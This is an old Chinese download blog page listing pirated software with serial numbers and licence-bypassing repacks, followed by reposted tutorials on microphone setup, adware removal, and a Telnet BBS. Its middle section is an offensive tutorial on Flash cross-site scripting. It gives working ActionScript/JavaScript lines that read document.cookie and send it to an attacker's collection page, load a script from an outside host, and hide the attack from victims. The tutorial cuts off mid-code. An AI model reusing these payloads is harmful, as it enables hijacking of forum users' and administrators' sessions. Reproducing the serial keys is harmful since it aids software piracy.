查皮博客@blogbus

特别提醒：
　　软件下载站点采用防盗链设计，请各位在下载前使用FlashGet(网络快车)或Thunder(迅雷)下载，以确保下载顺利！
      所有链接收集于网络，只作为学习研究之用,请于下载24小时后删除，本人不负任何责任！
      根据最新颁布的《信息网络传播权保护条例》如果认为侵犯了你的权利,请书面告知，本站将删除相关链接。


今日软件更新列表：


01.[病毒防治] 瑞星杀毒2006 18.29.20 中天免ID免KEY整合版┊18.29.20 官方完整升级包
02.[主页浏览] Slim Browser V4.06 Bulid025┊多站点浏览器┊绿色特别版
03.[下载工具] BitComet 0.68 去广告深度优化绿色版+官方免安装绿色特别版
04.[下载工具] uTorrent V1.51 Build 462 汉化绿色纯净版
05.[网络加速] 统一网关网络加速器 V1.00 绿色下载站专用单文件修正版
06.[音频处理] NewLive All Media Fixer Pro V6.2┊媒体文件修复┊绿色特别版
07.[数据恢复] Recover My Files V3.95┊强大数据恢复工具┊绿色特别版
08.[电脑教程] BIOS设置图解教程┊图文并茂讲解BIOS设置┊EXE电子书
09.[QQ 专区] QQ宠物管家 Bulid060531 绿色特别版
10.[文件管理] TimesImage V1.0┊影像文档管理系统┊绿色特别版
11.[卸载清除] UltraShredder V1.00┊德国文件粉碎机┊汉化绿色版
12.[升级补丁] 瑞星升级保姆V1.15c┊可升级防火墙┊绿色免杀版
13.[升级补丁] Windows Desktop Search 2.6.5 更新程序 (KB917979)
14.[媒体播放] BSPlayer Pro V1.42.883┊影音播放软件┊汉化注册绿色版
15.[编程工具] PSPad editor V4.5.2(2218)┊优秀编辑器┊绿色特别版
16.[IP工具] 腾讯QQ IP数据库 Build 0530 纯真简体版
17.[网页辅助] Proxy Switcher Pro 3.5.3537┊代理搜索、测试和管理┊绿色特别版
18.[图像处理] KnockOut V1.5┊脱离PHOTOSHOP独立运行┊绿色修正版
19.[网络电视] 天天卫星网络电视 V6.25┊高质量卫星电视软件┊绿色贵宾注册版
20.[病毒防治] RavDetect V4.2┊瑞星听诊器┊绿色特别版



1、瑞星杀毒2006 18.29.20 中天免ID免KEY整合版┊18.29.20 官方完整升级包
  
软件大小：37.97 MB
软件语言：简体中文
软件类别：非绿色软件/免费软件
运行环境：Win9x/2000/XP
软件简介：

瑞星杀毒软件2006，它是瑞星公司最新研制的OOT引擎占用资源更少，查杀速度更快。瑞星通过独有的行为模式分析（BMAT）和脚本判定（SVM）两项查杀病毒技术实现对未知病毒进行检测，该技术已经获得国家专利。OOT引擎，采用面向对象的高稳定性设计，构成了性能优异的真模块结构，是达到了国际领先水平的高应变型智能引擎! 免ID免Key整合版转载中天在线软件作品！
序列号：T1BULQ-70AWDE-9P90SF-7TD200 ID:RB2NA22T


查皮收集下载地址

瑞星杀毒软件2006 18.24.00 中天免ID免Key整合版


查皮收集下载地址

瑞星升级保姆 免杀绿色版


查皮收集下载地址

瑞星杀毒软件2006 18.29.10 升级包

2、Slim Browser V4.06 Bulid025┊多站点浏览器┊绿色特别版  
  
软件大小：1.75 MB
软件语言：简体中文
软件类别：原创绿化/免费软件
运行环境：Win9X/WinXP/Win2000/
软件简介：

SlimBrowser是一个基于标签页面风格的多站点浏览器。本浏览器包含诸多强大的功能，如可恢复的弹出广告杀手，支持皮肤的窗口框架，自动表单填写器，站点群组，快速搜索，自动登录，隐藏站点，内建命令集和教本支持，在线翻译，抑制教本错误对话框，黑白名单过滤，网址别名等等。这一切都使得您的上网冲浪变得无比的轻松愉快。
功能列表：
1. 基于标签页面的多站点浏览
2. 基于智能识别和自定义过滤表的弹出广告杀手
3. 快速搜索工具条使您可以直接在各大搜索引擎中搜索
4. 在需要的时候隐藏和恢复指定的页面以保护您的隐私
5. 无缝集成RoboForm表单填写器
6. 自动登录：您只要点击一下就可以自动连接到目标站点并自动登录
7. 无缝集成在线网页和文本翻译引擎
8. 抑制讨厌的教本错误对话框
9. 网页群组管理使得您可以一次打开一组站点
10. 在统一的界面中同时管理远程和本地资源(http,https,ftp,本地文件系统等)
11. 对启动动作的灵活控制。
12. 您可以定义短的别名来代替冗长的网址


查皮收集下载地址


3、BitComet 0.68 去广告深度优化绿色版+官方免安装绿色特别版
  
软件大小：3.26 MB
软件语言：简体中文
软件类别：原创绿化/免费软件
运行环境：Win9X/WinXP/Win2000/
软件简介：  

v0.68 2006.5.29
界面修正: 修正了0.67版中"添加任务时不显示提示窗口"选项失效的问题
界面修正: 修正了显示某些格式不规范的rss条目时可能导致的程序异常退出的问题
……
核心改进: 改进选择文件下载算法,降低了在任务运行状态下改变文件下载优先级导致相邻文件边界数据重复下载的几率
核心修正: 修正了处理某些不规范的HTTP协议数据包可能导致的程序异常退出的问题
核心修正: 修正了处理某些不规范的加密协议数据包可能导致的程序异常退出的问题
这次去广告保留了收藏夹，也方便了大家!


查皮收集下载地址

BitComet 0.68 官方免安装绿色特别版


查皮收集下载地址

BitComet 0.68 去广告深度优化绿色版

4、uTorrent V1.51 Build 462 汉化绿色纯净版
  
软件大小：165 KB
软件语言：简体中文
软件类别：国产软件/免费软件
运行环境：Win9X/WinXP/Win2000/
软件简介：

很小巧的BT客户端程序，拥有常见的功能，但是不支持UDP的连接协议。内网下载方面也有不错的表现，外网就更不用提了。支持多任务同时下载，支持设置文件下载优先级，可以根据计划任务调整占用的带宽，全局/单个任务的速度限制，快速断点续传机制，支持UPnP，支持流行的BT扩展协议，支持用户来源交换，支持DHT最小内存占用仅6MB


查皮收集下载地址


5、统一网关网络加速器 V1.00 绿色下载站专用单文件修正版
   
软件大小：1.1 MB
软件语言：简体中文
软件类别：原创绿化/免费软件
运行环境：Win9X/WinXP/Win2000/
软件利简介：

统一网关，一款被业界誉为网络加速专家的优秀加速系统，带您畅游互联网！ 统一网关由用户终端软件以及加速服务器构成，具有高性能的网络优化各ISP网关、大幅改善网页浏览速度和不同网络访问速度的特点，且不等同于其他通过代理服务器等方法来做“提速”的网络加速软件。软件终端运行后，通过1-3秒的身份验证便可连接至统一各地的网关服务器。加速器终端工作后，将IE、QQ、游戏等各种所请求的文件通过统一网关服务器的优化进行提速,优化后数据传输提高50%或更高。 例如:未使用统一网关的电信用户，在使用网通资源如电影、游戏、网页、上传、下载……时，速度都会非常得慢！但使用了该软件后，您的访问速度立刻明显流畅起来，让您深刻体验到互联互通之间的飞速冲浪感觉！统一网关软件将是互联互通时代的一场革命！该软件适用于任何网络
....修正单文件运行后，没有帐号和密码！先前因为记录下用户和密码，估计同样的用户名不能多处登陆吧！导致很多人连接失败！所以现在改成单文件运行，空用户和帐号！
统一加速器V1.00 正式版本更新内容:

1、正式版本请先申请帐号再使用!
2、内网用户如果连接不上请使用V1.00 NW版本
测试帐号 用户名：NO1greendown     密码：NO1greendown


查皮收集下载地址

统一网关网络加速器 V1.00 绿色下载站精简绿色版


查皮收集下载地址

统一网关网络加速器 V1.00 绿色下载站专用单文件精简版

6、NewLive All Media Fixer Pro V6.2┊媒体文件修复┊绿色特别版
   
软件大小：1.16 MB
软件语言：简体中文
软件类别：原创绿化/免费软件
运行环境：Win9X/WinXP/Win2000/
软件简介：

All Media Fixer是多媒体文件修复工具，如果你有一些多媒体文件无法播放时，可能这些文件已遭受到不明原因而被破坏了，你可以试试这个程序来试着修复你的多媒体文件，或许经过此软件的修复後，你无法播放的多媒体文件便可正常播放了，该软件据称可修复 82.8% to 97.6%。支援可修复的文件格式有:WMA, WMV, ASF, WM, ASX, AVI ,MP3, MP2, MP1, MPA, MPGA, MPG, MPEG, MPA, DAT 与 WAVE


查皮收集下载地址


7、Recover My Files V3.95┊强大数据恢复工具┊绿色特别版  


软件大小：5.86 MB
软件语言：英文
软件类别：国外软件/免费软件
运行环境：Win9X/WinXP/Win2000/
软件简介：

Recover My Files 乃数据文件恢复软件，可以恢复包括文本文档、图像文件、音乐和视频文件、以及删除的zip文件，可以以扇区的方式扫描硬盘。支持的格式包括：mpegpdf pmd png ppt pst pub rar rtf sdr tar txt tiff viso wav wmf wpd xls zdp zip asf avi bmp csv doc dbx dwg gif gzip html jpeg mdb mov mp3，并且可以进行恢复预览。
注册信息：用户名：

www.greendown.cn

    注册码：WPF83G-ENP7RA-GM639Z-DCPJRM-TNMDUR-P8B8G8-01HTP0-DHTUJ7


查皮收集下载地址


8、BIOS设置图解教程┊图文并茂讲解BIOS设置┊EXE电子书
  
软件大小：3.08 MB
软件语言：简体中文
软件类别：国产软件/免费软件
运行环境：Win9X/WinXP/Win2000/

BIOS设置图解教程,图文并茂详细讲解了BIOS设置的每个选项,对计算机BIOS设置有兴趣的朋友不妨看看!


查皮收集下载地址


9、QQ宠物管家 Bulid060531 绿色特别版
   
软件大小：1.56 MB
软件语言：简体中文
软件类别：国产软件/免费软件
运行环境：Win9X/WinXP/Win2000/
软件简介：

qq宠物管家的功能优点：
1、自动喂食、自动逗宠、自动打工、自动治病，免费成为你的宠物管家替你照顾好你的宠物，实现电脑自动化养宠。
2、支持检查库存，没有物品的时候进行购物然后再喂养。
3、支持自动购物，以保证没库存时宠物不被暂停成长。
4、支持批量购买，减少连接服务器的次数，大大的降低了宠物由于网络问题也被暂停成长的机率。
5、支持不弹出窗口进行喂养操作，让使用的用户不会觉得喂养弹出窗口很烦。
6、支持检查元宝，可以设置宠物的元宝低于多少时进行打工，如果大于设置值时那行进行休息好好成长。
7、支持实时显示宠物的升级剩余成长值、武力、智慧、魅力、爱情值、元宝和q币
8、软件不会抢鼠标，不存在任何影响鼠标的操作。
9、软件可以模拟人工在线，当人不在的时候tx也无法检测到计算机空闲状态
10、支持直接使用软件与牛翔进行比赛，节省资源
11、拥有物品仓库，可以查看所有宠物的仓库库存情况。一目了然
12、目前唯一一个支持2种代理,即http代理服务器和socket5代理服务器的qq宠物软件
13、支持自动治病，当宠物病了的时候软件会自动带你的宠物去看病然后进行医治
14、支持连续打工，智能选择工种。
15、使用智能时间ai算法，使得喂养打工的时间是没有固定不变的规律。
16、软件完全免费
17、方便的在线升级功能
18、绿色软件，要就用，不用就直接删除了
19、友好的界面，非常漂亮的界面
20、定时关机功能，当到达你设置的指定时间时，将自动关闭计算机。当您喂养的所有宠物都暂停成长时，软件将自动关闭您的计算机。
21、打工次数限制，可以设置打工达到8次后关闭计算机或宠物退出或宠物只挂机不再进行打工的功能。
22、在这里下载的软件绝对没有病毒与木马


查皮收集下载地址


10、TimesImage V1.0┊影像文档管理系统┊绿色特别版
  
软件大小：1.72 MB
软件语言：简体中文
软件类别：原创绿化/免费软件
运行环境：Win9X/WinXP/Win2000/
软件简介：

您的桌面、您的部门、您的企业有成堆的纸质文件，本软件帮助您清除这些文件，让这些纸质文件从你桌面消失，进入您的计算机！本软件实现从纸质文档扫描、建立索引到查询统计、光盘输出备份的图象文档管理。   
激活序列号：VMSEE-DCDX6-F7XHM-SYFQ8-DLQ5W
注：如果您有扫描仪，使用着个软件正合适


查皮收集下载地址


11、UltraShredder V1.00┊德国文件粉碎机┊汉化绿色版
  
软件大小：216 KB
软件语言：简体中文
软件类别：原创绿化/免费软件
运行环境：Win9X/WinXP/Win2000/
软件简介：
出自德国的文件粉碎机，整合了回收站的相关操作，特点是兼容性好，支持9X以上的Win全系列（不包括64位系统哦）。该软件绿色免费，建议收藏于U盘^_^
它和偶之前汉化的加密软件Omziff一样，来自XTort，其缩微界面挺有意思的，苗条啊～。
使用中注意2点：1.如果已将回收站从桌面隐藏，则在该软件内执行回收站的相关操作时可能异常或出错；2.请谨慎使用擦除目录功能，以免勿删造成数据损失


PS：用新世纪的引擎搜了一下关键词“Shredder”跟“粉碎机”，发现同类产品只有2个共享软件，而且最近的是还02年的，昏迷ing。进行汉化主要是考虑到该软件比较新（1/9/2005）、支持的系统多、兼容性好。虽然不算字符串跟非标就几十个单词，但是都汉了，彻底些好:


查皮收集下载地址


12、瑞星升级保姆V1.15c┊可升级防火墙┊绿色免杀版
  
软件大小：340 KB
软件语言：简体中文
软件类别：原创绿化/免费软件
运行环境：Win9X/WinXP/Win2000/
软件简介:

瑞星升级保姆推出,本软件只是躲过ID验证....直接启动瑞星的升级程序,所有所有病毒库数据都是直接读取瑞星官方的...跟官方一秒不差.方便快速,绝对安全好用.
瑞星升级保姆V1.11
自1.11版起,不再要求系统必须有FSO组件
自1.10版起,加入了瑞星防火墙升级功能


查皮收集下载地址


13、Windows Desktop Search 2.6.5 更新程序 (KB917979)
  
软件大小：4.16 MB
软件语言：简体中文
软件类别：非绿色软件/免费软件
运行环境：Win9X/WinXP/Win2000/
软件简介：

安装此更新程序可以修复 Windows 桌面搜索 02.06.5000.5378 版中的各种问题。安装本更新程序之后，可能需要重新启动计算机


查皮收集下载地址


14、BSPlayer Pro V1.42.883┊影音播放软件┊汉化注册绿色版
  
软件大小：2.42 MB
软件语言：简体中文
软件类别：原创绿化/免费软件
运行环境：Win9x/NT/2000/XP/
软件简介：

BSPlayer 也是一款 Windows 下虽然外表朴素但音质出色的播放器,它支持所有流行的音乐格式（avi/mpg/asf/wmv/wav/mp3...），适用于所有windows 系列操作系统。
特色功能：
1、支持 winamp 的音效插件如 DFX，原来是用 DFX 听 mp3，想不到现在用 DFX 看电影，真是爽。在 bsplayer 的音频设置那儿指定 winamp的插件目录，前提是你已安装了 DFX。
2、支持 Divx、字幕、ac3 音频，最有特色的是有字幕修正功能，可以设置字幕的速度和延迟。
3、支持当前几乎流行的所有格式，如 AVI、MPG、ASF、WMV、Divx、VOB等，具体在一般设置那儿。
4、桌面播放功能，在播放电影的时候，在电影上点鼠标右键，能看到有一个桌面模式的选项，点上去后电影就变成了一个壁纸了，这对于一边聊天一边看电影真是爽极了。
5、非常好的缩放控制，在播放电影的时候换键盘的+或-号可以对电影做缩放处理，还有很多其它的功能具体使用方法看关于。
6、支持皮肤功能，内置了几个皮肤，我特别喜欢 windvd 那个皮肤。
7、占用资源特别少，因为 bsplayer 可以重置原来的 Divx 选项，用bsplayer 的默认设置我的 cpu 占用在 50% 以下。
Pro 版增加了很多新功能：
+均衡器
+截取视频到文件
+网络文件缓存
+修正字幕功能
+增加 WMR9 格式支持
注意，这是专业版本。
1：该版本为了解决乱码问题，已修改了主程序，资源仍采用语言文件形式，顺便汉化了自带的几个皮肤！如果不喜欢可以安装原版程序与皮肤！建议用户安装修改后的程序与汉化皮肤！
2：部分资源不包括在语言文件中，所以仍然会出现部分英文，请见谅！
3：运行程序，点击“F1”打开程序关于页，按键盘“R”键调出注册页,请使用下面提供的序列号或注册机算号注册。
4：程序安装后即变成了简体中文界面，无需进行设置。
用户名：

www.greendown.cn

注册码：948321464D59FA8D968E94599F13FA8CB509


查皮收集下载地址


15、PSPad editor V4.5.2(2218)┊优秀编辑器┊绿色特别版  


软件大小：1.84 MB
软件语言：简体中文
软件类别：原创绿化/免费软件
运行环境：Win9X/WinXP/Win2000/
软件简介：

一款免费的编辑器，集各种编辑器的优点于一身，同时编辑多个文件，可以使用project；内置HEX编辑器；内置HEX编辑器；支持宏的录制和使用；支持语法高亮和彩色显示，HTML，PHP，Pascal，Jscript，VBscript，SQL，Perl，JAVA...；内置文件比较工具；支持宏的录制和使用；内置FTP工具；可以针对不同的文件类型设置对应的外部工具；支持外部编译器。是程序员极好的编辑工具！强烈推荐大家下载！


查皮收集下载地址


16、腾讯QQ IP数据库 Build 0530 纯真简体版  
  
软件大小：2.05 MB
软件语言：简体中文
软件类别：国产软件/ 免费软件
运行环境：Win9x/NT/2000/XP/
软件简介：

收集了包括中国电信、中国网通、长城宽带、网通宽带、聚友宽带等 ISP 的最新准确 IP 地址数据。包括最全的网吧数据。希望能够通过大家的共同努力打造一个没有未知数据，没有错误数据的QQ IP。IP数据库每5天更新一次，请大家定期更新最新的IP数据库！
因为IP地址数据是民间收集的，电信也会不时的更改IP段，所以有点遗漏、错误是难免的。随数据库附送IP解压，查询软件。假如发现IP地址有不对的，或想提供新的IP地址，请到纯真IP小秘书提供IP地址数据，或者登陆纯真时空论坛“电脑板块”中的“代理及IP板”块告诉我们。或者加入纯真QQ门户,在QQ上就能直接上报错误的IP数据,以便及时更新IP数据库。谢谢！
在线升级数据库：
随数据库附送的查询程序（Showip.exe）具有在线检测并升级IP数据库的功能，只要运行该程序，点击右上角的“在线升级”，就可以升级IP数据库到最新的版本，无需再到下载网站下载新版的IP数据库。
在线升级使用压缩数据，减轻下载量。
使用方法：解压数据库QQWry.Dat到显IP的QQ的安装目录，覆盖原来的同名文件。关闭QQ程序，重新启动。
IP数据记录：258750条  数据库大小：5M


查皮收集下载地址


17、Proxy Switcher Pro 3.5.3537┊代理搜索、测试和管理┊绿色特别版

软件大小：3.28 MB
软件语言：简体中文
软件类别：原创绿化/免费软件
运行环境：Win9X/WinXP/Win2000/
软件简介：

Proxy Switcher 是一款强大的代理搜索、测试和管理软件 ，它可以从网上自动下载代理列表（同时可显示代理服务器所在的国家），并分析其是否可用。使用 Proxy Switcher 可以帮助你免除在浏览器中手动设置代理的繁琐操作 ，通过在软件的代理管理器中将可用代理添加到 [代理转接] 类别后，如果要切换代理，只需右键单击系统托盘处的软件图标并在弹出菜单中选择相应的代理服务器地址即可，非常方便。 Proxy Switcher 支持所有基于 IE 内核的浏览器以及其它第三方浏览器（如 Mozilla、FireFox），同时还支持 LAN、VPN、普通拨号上网等各种接入方式


查皮收集下载地址


18、KnockOut V1.5┊脱离PHOTOSHOP独立运行┊绿色修正版
  
软件大小：2.47 MB
软件语言：简体中文
软件类别：原创绿化/免费软件
运行环境：Win9x/NT/2000/XP/
软件简介：   

Corel 公司出品的专业去背景软件，连极细的毛发都能从复杂的背景中分离出来。专业一点的术语是制作「遮罩」，所谓的去背，指的是将特定的主体从背景中分离出来， 以便进行其它的后续设计。例如，将人物从风景照之中抽离出来，以便更换背景。 目前，其他的影像处理软件，例如 PhotoImpact、PhotoShop ...等，其实也都可以进行去背的作业，但却不及 Knockout 来得功能强大及便利。在 Corel Knockout 之中，若背景较为单纯时，我们只要定义 Inside 及 Outside 两个选取区域，再按一下处理( Process )钮，通常便能完成去背的作业。 其去背的准确、快速及方便、容易程度，可谓其它软件都难以望其项背！
本软件是独立运行版，可以脱离PHOTOSHOP等图形处理软件而独立运行


查皮收集下载地址


19、天天卫星网络电视 V6.25┊高质量卫星电视软件┊绿色贵宾注册版
  
软件大小：1.46 MB
软件语言：简体中文  
软件类别：原创绿化/免费软件
运行环境：Win9X/WinXP/Win2000/
软件简介：

★ 提供1600多套节目，高质量的卫星电视软件版，看体育节目“爽”，专用VIP微波传送，提供各类节目，节目收看率极高。注册用户终身免费升级。
★ 我们非常注重各类节目质量，我们有专用服务器以及微波通道,提供热点节目，节目收看率极高
★ 通过独特的合作资源，免费提供超过40多套超高清晰的卫星电视节目，高速HBO大片，BBC新闻，日本MM、港台凤凰、华娱、星空、TVB系列，国内中央及各省卫星电视节目
★ 更免费提供境内外广播、特别影视、精彩实况等
★ 内置多种加速引擎，智能分析网络状态追寻最佳速度方案
★ 小巧玲珑，以实用为本，启动快速，占用系统资源极少
★ 每周数据更新，发布前专业人员严格测试，确保节目有效,
注册时先把软件的注册关掉，再运行注册机计算出注册码！


查皮收集下载地址


20、RavDetect V4.2┊瑞星听诊器┊绿色特别版
软件大小：102 KB
软件语言：简体中文
软件类别：原创绿化/免费软件
运行环境：Win9X/WinXP/Win2000/
软件简介：

工具为配合瑞星杀毒软件使用的辅助工具，该工具的主要功能及使用方法如下：
1：诊断功能
诊断功能有下面的两种用途：
一：用于某些对IE设置进行篡改的病毒程序诊断（针对修改IE设置的com组件）。
例如： IE被打开后，总是连接恶意站点

http://www.1235678.com

。
二：用于扫描新木马，现在的版本可以检测四个家族（ircbot、huigezi、psw.legend、whboy）的木马程序，但是不提供杀毒功能。

2：提取功能：
提取功能用于将用户的启动及配置信息进行收集汇总，以便进行后期的系统问题诊断。

3：IE重置
该功能用于恢复被病毒修改的IE的设置


查皮收集下载地址

是谁抢走了我的麦克风 就让我驯服它
电脑迷 【转载】 作者：晓风残月
为什么我新买的麦克风没有声音？好不容易搞出声音来了，为什么在语聊的时候任我喊破了嗓子，朋友还说我的声音像猫猫一样小……这些是很多新手都会碰到的问题。麦克风并不是往声卡上一插就了事的，要想用得舒舒服服，还得学会设置。来看看笔者是怎么驯服麦克风的吧。
    常见的集成声卡芯片
    目前，市场上大部分主板产品都集成了声卡芯片，从2声道、6声道一直发展到8声道甚至10声道，性能是越来越好。集成声卡芯片的生产厂商主要有Analog Devices（美国模拟器件公司）、Realtek（瑞昱）、C-Media（骅讯）、VIA（威盛）等公司，最常见的就是Realtek的产品了。在早期的主板上大多采用2声道声卡芯片，目前主流的主板都采用6声道芯片（如ALC655），高端一些的主板则会采用8声道芯（如ALC850）。
    声卡麦克风设置过程
    针对不同的声卡，设置麦克风的方法有所区别，下面就以常见的Realtek公司生产的ALC655芯片为例来介绍设置麦克风的全过程。
    将麦克风插头插到主板后面的麦克风专用插口（MIC口，通常为粉红色）。打开“控制面板/声音和音频设备”， 在“音量”标签下点击“高级”按钮打开“音量控制”窗口。点击菜单“选项/属性”，在弹出的新窗口中选择“录音”，再将下面列表里的“麦克风”选中（如图1），点击“确定”保存设置。刚才的“音量控制”窗口现在已变成了“录音控制”窗口，在该窗口中把“麦克风”区域的“选择”选中，表示当前的录音设备是麦克风，再点击菜单“选项/高级控制”，这时“麦克风”区域的最下方就会出现一个“高级”按钮，点击它，在弹出的窗口中将下面的“麦克风增强（+20dB）”选中，保存设置退出（如图2）。经过这样的设置后，用麦克风录音的时候就不会出现音量很小的情况了，否则即使将录音音量开到最大，音量还是会很小。

图1

图2

提示：不同的声卡芯片和不同版本的驱动程序最终可能会导致与图片上显示的内容不一样，如“麦克风”一项被显示为“Microphone（麦克风）”或“Pink In（粉红色插座）”，“麦克风增强”被显示为“Mic Boost”等，但功能是相同的。
    通常设置完麦克风后都有个习惯：拍拍麦克风或随便说几句话听听音箱里有没有发出声音，如果有声音则表示麦克风正常，没有声音就开始怀疑麦克风的设置有问题。其实这种判断不完全准确，因为在很多情况下，声卡的驱动程序都是默认不播放麦克风的声音，也就是说麦克风已经可以录音了，但是音箱里不会播放录音。如果要让音箱播放麦克风的录音，需要在“音量控制”窗口中点击菜单“选项/属性”，选中“播放”，再把下面列表中的“麦克风”选中，并取消“音量控制”窗口中麦克风区域里“静音”前的钩。
    提示：在语音聊天的时候，如果发现录制的声音断断续续的，可以在“声音和音频设备”属性窗口中选择“音频”标签，点击“录音”旁边的“高级”按钮（如果这个选项被禁用，可以升级驱动程序），在打开的窗口中将“硬件加速”调到“无”、“采样率转换质量”调到“最好”即可。

马上赶走流氓软件 对极速隐藏叫停！
电脑迷 【转载】 作者：蓝色海岸
最近，也不知怎么了，鼠标右键菜单中突然多出了一个“极速隐藏”的选项（如图1）。思来想去也想不出是什么时候招惹的它。更为可气的是当我双击欲打开某些文件时，“极速隐藏”却自动将其隐藏了，每次都要启动“极速隐藏”，重新恢复，十分烦人。想将其卸载吧，在控制面板的“添加/删除程序”窗口中却找不到卸载选项，卸载无从下手。在“C:\Program Files”目录下也找不到其可执行性文件，难道只能听之任之？

图1
    这时，笔者突然想到右键菜单中的条目，在注册表中往往都有相关键值与之对应，于是打开注册表编辑器，以“极速隐藏”为关键词在注册表中搜索，果然在[HKEY_CLASSES_ROOT\*\shell]下找到了极速隐藏的老巢（如图2），点击“极速隐藏”子键下的“command”子键，在右侧的窗格中有一个“默认”字符串值，从中我们可以看到“极速隐藏”的可执行性文件是“C:\WINDOWS\system32\fe.exe %1”。找到了元凶就好办了，首先，将注册表中的“极速隐藏”子键删除，然后，打开资源管理器，定位到“C:\WINDOWS\system32\”目录，将“fe.exe”删除。好了，现在“极速隐藏”已经让我们彻底清理出局了。

图2
    提示：现在有许多的流氓软件都是通过捆绑正常软件悄无声息地进入到我们的电脑中的，而且这些流氓软件往往没有卸载程序，一旦进入系统很难清理，遇到这种情况，我们不妨以程序名在注册表中进行搜索，找到相关键值进行分析和删除，往往能够将流氓软件歼灭。

也说跨站脚本攻击的隐藏-如何防止Flash跨站攻击弹出IE窗口
前些天一直忙着学习WIN32汇编，一直懒得写文章，这些天来好像Flash跨站攻击闹的挺凶的，但在实施Flash跨站攻击时的那个弹出的IE窗口很容易引起别人的怀疑，而使得Flash跨站攻击失败，这的确让人多少有点头疼，大家是不是也一直在寻找实施Flash跨站攻击时不弹出IE窗口的方法来隐藏自己的攻击行为呢？下面大家和我一起来解决这个不大不小的问题，让Flash跨站攻击更完美吧！

  一般来说大家在进行Flash跨站攻击时都是自己做一个Flash动画，并在第一帧中加入用于跳转到其他URL的AtionScript脚本函数，如下：

    getURL("JavaScript:window.open('http://用于收集Cookie的网页地址?'+document.cookie)","_self")

  然后把这个Flash动画置于论坛中的签名、贴子或短信消息中，用来获得管理员或用户的Cookie，从而得到管理权限，进一步伺机控制整个站点,最终达到自己的目的。我们可以看到在整个跨站攻击中最重要的就是这个AtionScript脚本啦！也就是这个脚本中用到的代码打开了一个我们又爱又恨的窗口，所以我们也只能从改造这个脚本代码来实现隐藏或者是去掉弹出的IE窗口，除此外别无它法！

  我们先分析一下上面的AtionScript脚本，它使用AtionScript脚本函数"getURL"跳转到一个使用JavaScript协议的URL（JavaScript协议后面就是我们非常熟悉的JavaScript脚本代码），在JavaScript中使用document.cookie的到Cookie，并把Cookie和一个用于收集Cookie的网页地址连成一个http协议的URL地址，最后使用window.open打开合成的URL地址，从而把Cookie用GET方式发送到用于收集Cookie的网页，并记录下来。

  通过上面的分析我们进一步了解那个弹出的IE窗口是由于JavaScript协议中的代码window.open所生成的，相信大家都知道window.open的第二个参数用来指定打开的窗口的名字，其通用名称有"_media （IE6.0 在浏览器左边的媒体面板内打开）"、"_blank （在新窗口中打开）"、"_parent （在当前框架的父框架内打开。假如当前框架无父框架，此参数值等同于 _self）"、"_search （IE5.0 在浏览器左边的搜索面板内打开）"、"_self（在当前窗口中打开，覆盖当前文档）"、"_top （在所有框架之外的最顶层窗口中打开 。假如当前窗口无框架结构，此参数值等同于 _self ）"等几种，如果我们以"_search"来打开窗口，不是就没有了弹出的IE窗口了吗？AtionScript脚本改为：

    getURL("JavaScript:window.open('http://用于收集Cookie的网页地址?'+document.cookie,'_search')","_self")

当然，这样做会打开搜索面板，也会引起怀疑，但却可以躲过那些关闭弹出窗口软件的追杀！姑且也算一种方法吧！

  如果仅仅是上面所说的，相信不少读者要把我。。。。。。

  看到这里聪明的你是不是想到了点解决的思路？对！既然支持JavaScript啦，还有啥东东会不能解决呢？JavaScript真的是好处多多呀！

  下面这样一段代码：

jsurl="http://www.godog.y365.com/wodemuma/icyfox.js".replace(/\//g,'//');
window.open("file:javascript:document.all.tags('SCRIPT')[0].src='"+jsurl+"';eval();","icyfoxlovelace");

使用了javascript协议把自己网站上的一个js代码文件插入到了本地文件中，同样的道理我们也可以用它把一个js代码文件插入到进行跨站攻击的论坛网页中，相应的AtionScript脚本改为：

    getURL("JavaScript:document.all.tags('SCRIPT')[0].src='http:\/\/www.godog.y365.com\/wodemuma\/icyfox.js';eval();","_self")

其中icyfox.js得内容如下：

cookieurl="http://用于收集Cookie的网页地址?cookie="+escape(document.cookie);
/*这里使用了escape(）对cookie编码，用来防止cookie中的一些特殊字符*/
document.body.insertAdjacentHTML('beforeEnd','

局域网Telnet BBS站点的建立与管理
CNET中国·ZOL 【原创】 作者：中关村在线 棋行人间
大学时代，BBS成为伴随我们走过四年丰富多彩的大学生活的伴侣，想想当然在里面的“谈天说地”、“畅所欲言”的感觉，是如此的令人怀念。当然如果说BBS是高手们，文人的天堂，那么论坛是另外一种风格的交流，在这时尚的殿堂中，各位大侠们“为所欲为”，很多时候还“大打出手”，哪又是一种迷人的风景。毕业后，有了自己的局域网，当然也把这些优良的技术保持下来，发扬光大。
    BBS是英文Broadcast Board System的缩写，中文就是电子公告栏系统。顾名思义，类似于普通公告栏，BBS是一种网络上信息发布的电子公告系统，每个用户都可以在其中畅所欲言，前提必须是该系统的注册用户。当然，要说最著名的BBS论坛，要算水木清华BBS（使用的是Cterm2000登录）（如图1）。

图1 水木清华BBS论坛
    许多人很少使用BBS，其实BBS就好比是个大论坛，天文地理，人文社会，无所不包。里面有许多版块，每个版块都有自己的主题，每一个注册用户都可以在其中对这个主题发表自己的意见，甚至同别人进行讨论。
    一、BBS论坛服务器软件的安装
    BBS软件有很多，比较著名的有FireBird，以及基于ASP或者PHP编程的软件。其中FireBird建立BBS站点的方法最简单。
这里以在WindowsXP下的操作为例进行说明：
    （1）找到前面下载的ffbin_b3.EXE文件，直接双击安装，弹出的安装窗口（如图2）。

图2 安装窗口
    （2）单击“下一步”按钮继续操作，并选择好安装路径就可以继续进行安装（如图3），几秒钟后，会出现安装完成的对话框。

图3 安装完成对话框
    安装完成并重新启动系统后，可以在“开始à所有程序”里面可以找到Firebird NT BBS（如图4）。

图4 在“所有程序”显示软件
    二、BBS站点的设置
    （1）单击“开始à所有程序àFirebird NT BBSà启动Firebird NT BBS”命令，这时候就启动了该BBS软件。
为了能够登录BBS该软件，必须使用Telnet一类的软件进行登录，一般使用“CtermⅢ\Cterm2000”。下载的地址在http://www.onlinedown.net/cterm.htm，这里使用CtermⅢ（如图5）。

图5 CtermⅢ界面
    在CtermⅢ窗口中的弹出的小窗口中设置好个人的站点信息，以后打开的时候就会首先弹出【选择一个用户】的窗口，选择了用户并输入密码后才能进入BBS界面；还可以添加新的界面，或者是临时使用一下。
    （2）单击“地址簿”按钮 ，打开“我的地址簿”对话框（如图6），在“站点名字”中输入“我的BBS”（当然名称自己定义）；“站点地址”输入“192.168.0.8”，该地址是前面安装Firebird NT BBS软件的计算机的IP地址，要相运行BBS论坛，必须要输入正确的安装了Firebird NT BBS软件的计算机的IP地址。

图6 “我的地址簿”对话框
